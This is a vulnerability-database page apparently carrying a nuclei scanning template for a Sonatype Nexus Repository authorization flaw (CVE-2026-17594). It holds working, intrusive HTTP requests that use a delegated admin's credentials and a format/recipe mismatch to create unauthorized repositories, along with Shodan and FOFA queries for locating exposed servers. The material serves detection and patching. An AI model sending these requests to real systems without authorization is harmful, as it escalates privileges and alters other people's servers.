Lucene search
+L

Sonatype Nexus Repository < 3.95.0 - Privilege Escalation via Repository Format Mismatch

🗓️ 21 Aug 2026 02:28:16Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 4 Views

Incorrect authorization in Nexus Repository <3.95.0 allows delegated admins to create unauthorized repository formats.

Related
Refs
Code
id: CVE-2026-17594

info:
  name: Sonatype Nexus Repository < 3.95.0 - Privilege Escalation via Repository Format Mismatch
  author: 1dayexploit
  severity: high
  description: |
    Nexus Repository 3 CE/Pro 3.0.0 through 3.94.x contains an incorrect authorization vulnerability caused by inconsistent authorization checks in the repository-creation UI, letting delegated repository-admin users create unauthorized repository formats, exploit requires delegated repository-admin privilege.
  impact: |
    Delegated repository-admin users can create unauthorized repository formats, potentially leading to privilege abuse or unauthorized repository creation.
  remediation: |
    Upgrade to version 3.95.0 or later.
  reference:
    - https://github.com/sonatype/nexus-public
    - https://help.sonatype.com/en/sonatype-nexus-repository-3-95-0-release-notes.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17594
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
    cvss-score: 8.2
    cve-id: CVE-2026-17594
    cwe-id: CWE-863
    epss-score: 0.00613
    epss-percentile: 0.46758
  metadata:
    verified: true
    max-request: 2
    vendor: sonatype
    product: nexus_repository
    shodan-query: http.title:"Sonatype Nexus Repository"
    fofa-query: title="Sonatype Nexus Repository"
  tags: cve,cve2026,nexus,sonatype,pri-esc,authenticated,intrusive

variables:
  repo_name: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /service/extdirect HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Content-Type: application/json

        {"action":"coreui_Repository","method":"create","type":"rpc","tid":1,"data":[{"name":"{{repo_name}}-ctl","format":"raw","recipe":"raw-hosted","online":true,"routingRuleId":"","attributes":{"storage":{"blobStoreName":"default","strictContentTypeValidation":true,"writePolicy":"ALLOW"},"cleanup":{"policyName":[]},"component":{"proprietaryComponents":false},"raw":{"contentDisposition":"ATTACHMENT"}}}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"success\":false"
          - "does not have permission"
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /service/extdirect HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Content-Type: application/json

        {"action":"coreui_Repository","method":"create","type":"rpc","tid":2,"data":[{"name":"{{repo_name}}","format":"maven2","recipe":"raw-hosted","online":true,"routingRuleId":"","attributes":{"storage":{"blobStoreName":"default","strictContentTypeValidation":true,"writePolicy":"ALLOW"},"cleanup":{"policyName":[]},"component":{"proprietaryComponents":false},"raw":{"contentDisposition":"ATTACHMENT"}}}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"success\":true"
          - "\"format\":\"raw\""
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022071f1ea4c9ddc7e814086ec66757936acef01f15f20c712eaf3b6df9079aa44d70221009984074408b08f22a565ee9bfdbcf91ad35ce76fec989455173938e31059078a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2026 18:58Current
5.2Medium risk
Vulners AI Score5.2
CVSS 48.2
EPSS0.00613
SSVC
4